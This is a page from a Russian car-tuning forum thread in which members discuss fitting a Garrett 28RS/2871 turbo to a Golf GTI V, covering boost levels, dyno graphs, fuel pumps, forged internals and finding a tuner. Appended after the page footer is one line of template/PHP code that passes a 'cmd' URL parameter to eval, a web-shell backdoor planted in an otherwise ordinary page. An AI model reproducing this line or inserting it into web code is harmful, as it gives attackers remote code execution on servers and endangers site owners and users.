+ Ответить в теме
Страница 3 из 4 ПерваяПервая 1 2 3 4 ПоследняяПоследняя
Показано с 21 по 30 из 35

Тема: 28rs на GTI V


  1. #21
    Жгун Года 2010 КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough Аватар для КИБАЛЬЧИШЬ
    Регистрация
    14.04.2008
    Сообщений
    2,346
    Цитата Сообщение от Deniso4ek Посмотреть сообщение
    я вот думаю может углубиться по сильнее....хочу сил под 400....какие варианты....что ещё докупить??))
    2871+кулер+насос+ковка+регулятор топлива+впуск+выпуск+ГРАМОТНЫЙ НАСТРОЙЩИК + много бабулешечек.
    Однако вы энтузиаст.
    Последний раз редактировалось КИБАЛЬЧИШЬ; 05.04.2011 в 09:30.

  2. #22
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от Амет Посмотреть сообщение
    Давляк около 1.3-1.35 у меня.
    Надо всего лишь 1.5, столько она может дуть достаточно долго. Эдик на купре ездил на 1.6 и ниче, не развалился.

    А ты писал, что ездил на ГТ и на К04 и тебе не понравилось, что затухает. Может я не совсем понял в чем она была не очень. А что за машинка была на ГТ, какие спеки и К04 это твоя была на 328 сил ?

    У тебя есть график на К04 твой или тот что понравился ?

    Вот перенес сюда на всякий случай может кто не помнит, график Пашки на ГТ28:

    По ощущениям моим и по графику, отличное пулялово и после 3500 момента всегда за 400, а к редлайну он уже и не нужен, т.к. там уже зона максимальной мощности, которая все время растет до ограничителя. Очень приятный и удобный мотор. Может он кому то покажется не низовым, но тут уже это можно простить за яркий пинок со средних и до отсечки. Приноровится к характеру можно за пару дней. Мне нравится. И нравится, что есть еще и запас, на давлении 1.5 - 1.6 мощность будет уже поболее, но для стоковой движки не айс))))
    песок сыпется....не останавливайтесь на достигнутом !

  3. #23
    Жгун Года 2010 КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough Аватар для КИБАЛЬЧИШЬ
    Регистрация
    14.04.2008
    Сообщений
    2,346
    Не ругайтесь и не спорьте, я ч/з 2 недели установлю комплект 2871 и доложу об ощущениях,
    проэкспериментируем.:snot: Хотя я особо н гонсчек, просто интересно что это такое.
    Последний раз редактировалось КИБАЛЬЧИШЬ; 05.04.2011 в 10:17.

  4. #24
    Мимо проходил Deniso4ek is on a distinguished road Аватар для Deniso4ek
    Регистрация
    04.04.2011
    Откуда
    Воронеж
    Машина
    GTI V
    Сообщений
    20
    Я тоже всё скоро поставлю....надеюсь.....Собираю пока сведения....я тоже самое говорил апр дорого...думаю тоже валбро поставить....просто смысла в апр не вижу вообще....настройщика у меня нет ещё пока.....предложения???? А расходомер тоже надо будет менять???

    Добавлено через 8 минут
    Просто посидел подумал....решил что надо менять всё и делать 400сил....и у нас в Воронеже мне никто не настроит мою ласточку.....может кто знает, посоветутет кого нить?!?! Кто этим занимается?? Больше всего интересна цена....Да и что с мозгом, новые не нужны??

    Последний раз редактировалось Deniso4ek; 05.04.2011 в 10:44. Причина: Добавлено сообщение

  5. #25
    Жгун Года 2010 КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough Аватар для КИБАЛЬЧИШЬ
    Регистрация
    14.04.2008
    Сообщений
    2,346
    Цитата Сообщение от Deniso4ek Посмотреть сообщение
    настройщика у меня нет ещё пока.....предложения????
    Это таки и есть основной момент, перед тем как устанавливать железяки нужно
    понять кто тебе все это грамотно настроит.

  6. #26
    Мимо проходил Deniso4ek is on a distinguished road Аватар для Deniso4ek
    Регистрация
    04.04.2011
    Откуда
    Воронеж
    Машина
    GTI V
    Сообщений
    20
    Есть конечно варианты.....но что то я им не очень доверяю....с кем бы поговорить по этому вопросу..

  7. #27
    GTI-Racing Амет is a jewel in the rough Амет is a jewel in the rough Амет is a jewel in the rough Аватар для Амет
    Регистрация
    16.09.2009
    Машина
    Cupra MK2
    Сообщений
    882
    оч классный график))) едет с 4000 с гаком и до 6500 )) кривая момента чуть лучше чем у к03. Дергатня похожа на ретарды. прям супер городской мотор)))

    ниже мой график, повторюсь у меня 3" даунпайп, далее сток глушитель (заужения до 57мм), впуск не совсем правильный, кулер фордж:


    Uploaded with ImageShack.us

    Если доделать выпуск хотя бы - будет под 340 л.с. и момент будет совсем совсем ровный.
    На 28рс была и есть Ауди ТТ, хозяин зовут Алексей. У него конечно далеко не 350 л.с., но думаю честные 300 будут (судя по расходу воздуха). У него кстати машинка едет поинтереснее, хоть и 1.8.
    Так что все относительно!)

    И опять немного по теме - на BWA двигателях меняют именно ТНВД, а не насос, который в баке, т.к. в нем как раз затыка нет. Поэтому речи о вальбрах быть не может!
    По поводу топливного регулятора, их по сути 2 - первый в топливном фильтре (6.6 бар), второй в топливной рейке (130 бар), менять тоже нечего и незачем!

    п.с. Мы не ругаемся и не спорим, а ведем конструктивную беседу!)

  8. #28
    Жгун Года 2010 КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough Аватар для КИБАЛЬЧИШЬ
    Регистрация
    14.04.2008
    Сообщений
    2,346
    Цитата Сообщение от Амет Посмотреть сообщение
    Поэтому речи о вальбрах быть не может!
    Это чавойта такое?

  9. #29
    Мимо проходил Deniso4ek is on a distinguished road Аватар для Deniso4ek
    Регистрация
    04.04.2011
    Откуда
    Воронеж
    Машина
    GTI V
    Сообщений
    20
    Да да.....я слышал что у меня 2 насоса...и тоже появилась мысль а какой же менять????!?! и на какой)) а по расходомеру что скажите?!??! заменить его?!?! и на какой?? У меня пробег 150000 при этом всё дует едет нормально....вот думаю если щас воткну гаррет и вдую 1.3., как повлияет на ресурс.....или всё таки лучше углубиться и заменить поршневую, шатуны....?!?! ответьте пожалуйста...сегодня собираюсь заказывать....не знаю как поступить

    Добавлено через 2 минуты
    и как быть с блокировкой, нужна она?? уж больно дорого.....моэж у кого б.у. есть )))
    Последний раз редактировалось Deniso4ek; 05.04.2011 в 11:31. Причина: Добавлено сообщение

  10. #30
    GTI-Racing Амет is a jewel in the rough Амет is a jewel in the rough Амет is a jewel in the rough Аватар для Амет
    Регистрация
    16.09.2009
    Машина
    Cupra MK2
    Сообщений
    882
    я сказал вроде какой и на какой менять )) Расходомер не трогать. Для 350+ ковку скорее да, чем нет. СЖ понижать.

    Чисто русская тема - назаказывать запчастей, а потом думать кто будет настраивать ))

+ Ответить в теме
Страница 3 из 4 ПерваяПервая 1 2 3 4 ПоследняяПоследняя

Похожие темы

  1. Голосование , 28RS или TD04
    от Alexandr 922 в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 8
    Последнее сообщение: 01.10.2023, 17:32

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}